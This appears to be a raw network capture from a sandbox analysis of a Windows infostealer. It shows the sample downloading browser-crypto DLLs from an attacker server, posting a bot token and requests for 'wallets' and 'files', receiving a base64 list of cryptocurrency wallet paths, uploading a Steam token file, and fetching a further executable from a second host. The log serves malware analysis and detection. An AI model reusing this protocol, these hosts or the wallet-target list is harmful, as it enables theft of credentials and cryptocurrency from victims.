Dec 6, 2024 18:45:47.767486095 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:47 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Dec 6, 2024 18:45:48.424299955 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 18:45:48.866946936 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:48 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Dec 6, 2024 18:45:51.953262091 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 18:45:52.396171093 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:52 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Dec 6, 2024 18:45:53.027147055 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Dec 6, 2024 18:45:53.469784021 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:53 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Dec 6, 2024 18:45:54.893018961 CET	202	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EBAFHCBFHDHCAAKFHDGD Host: 185.215.113.206 Content-Length: 947 Connection: Keep-Alive Cache-Control: no-cache
Dec 6, 2024 18:45:55.999454975 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:55 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=93 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:56.392407894 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECAECFCAAEBFHIEHDGH Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 41 45 43 46 43 41 41 45 42 46 48 49 45 48 44 47 48 2d 2d 0d 0a Data Ascii: ------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------AECAECFCAAEBFHIEHDGHContent-Disposition: form-data; name="message"wallets------AECAECFCAAEBFHIEHDGH--
Dec 6, 2024 18:45:56.842422009 CET	1236	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:56 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Dec 6, 2024 18:45:56.855994940 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----BKJEGDGIJECGCBGCGHDG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4a 45 47 44 47 49 4a 45 43 47 43 42 47 43 47 48 44 47 2d 2d 0d 0a Data Ascii: ------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------BKJEGDGIJECGCBGCGHDGContent-Disposition: form-data; name="message"files------BKJEGDGIJECGCBGCGHDG--
Dec 6, 2024 18:45:57.568610907 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:57.580396891 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DBFBFBGDBKJJKFIEHJDB Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 42 46 42 47 44 42 4b 4a 4a 4b 46 49 45 48 4a 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------DBFBFBGDBKJJKFIEHJDBContent-Disposition: form-data; name="file"------DBFBFBGDBKJJKFIEHJDB--
Dec 6, 2024 18:45:57.646317959 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:58.509583950 CET	202	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:57 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Dec 6, 2024 18:45:58.544179916 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----CBKJEGCBKKJECBGCGDBA Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 34 66 33 63 32 38 35 61 64 31 66 35 37 65 65 33 63 32 63 37 34 38 35 37 64 37 34 31 32 64 39 33 61 62 63 30 33 30 34 64 31 36 37 36 30 35 35 65 61 36 37 66 38 63 33 64 66 63 36 31 36 65 34 35 38 37 37 38 62 62 33 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 43 42 4b 4a 45 47 43 42 4b 4b 4a 45 43 42 47 43 47 44 42 41 2d 2d 0d 0a Data Ascii: ------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="token"54f3c285ad1f57ee3c2c74857d7412d93abc0304d1676055ea67f8c3dfc616e458778bb3------CBKJEGCBKKJECBGCGDBAContent-Disposition: form-data; name="message"ybncbhylepme------CBKJEGCBKKJECBGCGDBA--
Dec 6, 2024 18:45:58.990322113 CET	271	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 17:45:58 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.6	49857	185.215.113.16	80	6768	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2024 18:45:59.116933107 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Dec 6, 2024 18:46:00.463946104 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 06 Dec 2024 17:46:00 GMT Content-Type: application/octet-stream Content-Length: 3283968 Last-Modified: Fri, 06 Dec 2024 17:34:14 GMT Connection: keep-alive ETag: "67533596-321c00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 20 32 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf 2@P23@WkT22 @.rsrc@.idata @pwiaqwpe`+^+@ivzhtbht21@.taggant0 2"1@
Dec 6, 2024 18:46:00.464018106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:46:00.464032888 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:46:00.464057922 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:46:00.464109898 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 6, 2024 18:46:00.464122057 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 3d9XG3t9XGI!k+I3q9I?
Dec 6, 2024 18:46:00.464133024 CET	1236	IN	Data Raw: 08 4e 0a ec 94 a5 3d 49 0d 88 f2 21 a8 1f d7 6b e1 2b 49 4c e0 33 91 71 92 cf 39 c9 cd 4d 3f 21 08 4e 0a ec 94 a5 3d 49 05 88 f2 21 a8 d7 ec 6b e1 2b a9 4d e0 33 91 91 91 cf 39 c9 ed 4c 3f 21 08 4e 0a ec 94 a5 3d 49 7d 88 f2 21 a8 df e8 6b e1 2b Data Ascii: N=I!k+IL3q9M?!N=I!k+M39L?!N=I}!k+M319L?!N=Iu!wk+M3Q9L?!N=Im!/k+M39ML?!N=Ie!k+)M39mL?!N=I]!k+M39L?!N=IU!;k+i
Dec 6, 2024 18:46:00.464144945 CET	1236	IN	Data Raw: e0 33 91 b1 83 cf 39 c9 0d 70 3f 21 08 4e 0a ec 94 a5 cd 49 d1 8a f2 21 a8 df d5 6b e1 2b 69 49 e0 33 91 d1 83 cf 39 c9 2d 70 3f 21 08 4e 0a ec 94 a5 31 49 39 8a f2 21 a8 ef ef 6b e1 2b 49 49 e0 33 91 71 83 cf 39 c9 cd 70 3f 21 08 4e 0a ec 94 a5 Data Ascii: 39p?!NI!k+iI39-p?!N1I9!k+II3q9p?!NI-!Gk+J39w?!N1I!k+J319w?!NI!gk+J3Q9w?!NIq!k+J39Mw?!N=I]!k+)J39mw?!N
Dec 6, 2024 18:46:00.464313030 CET	1236	IN	Data Raw: 51 86 f2 21 a8 c7 d4 6b e1 2b 29 46 e0 33 91 11 f5 cf 39 c9 6d 7b 3f 21 08 4e 0a ec 94 a5 31 49 45 86 f2 21 a8 17 d4 6b e1 2b 09 46 e0 33 91 b1 f4 cf 39 c9 0d 7b 3f 21 08 4e 0a ec 94 a5 31 49 b9 86 f2 21 a8 3f e8 6b e1 2b 69 46 e0 33 91 d1 f4 cf Data Ascii: Q!k+)F39m{?!N1IE!k+F39{?!N1I!?k+iF39-{?!NI!k+IF3q9{?!N=I!k+G39z?!N=I!gk+G319z?!NI!k+G3Q9z?!N=I!k+G39
Dec 6, 2024 18:46:00.464325905 CET	1236	IN	Data Raw: d8 32 ae 25 5e 44 3f 50 f9 df 92 26 e1 8e 76 21 5d 4f da a4 a0 02 f1 e0 55 28 9b e6 94 47 0a ec 94 47 0a ec 94 47 0a ec 94 d8 b4 cd 55 c0 31 ac 1b 03 89 50 e2 b8 35 c9 b3 32 39 21 5d 4f ca 5c 9e 47 0a ec 94 47 0a ec 94 d8 b4 cd 5d 27 ca 80 cc 13 Data Ascii: 2%^D?P&v!]OU(GGGU1P529!]O\GG]'!.Hd)T-ZV<T%!'M+3KY?H<!V%-@g?!V(3u.sKjp*M!{ V1<!^O63u%M+3<!NGGG%dv
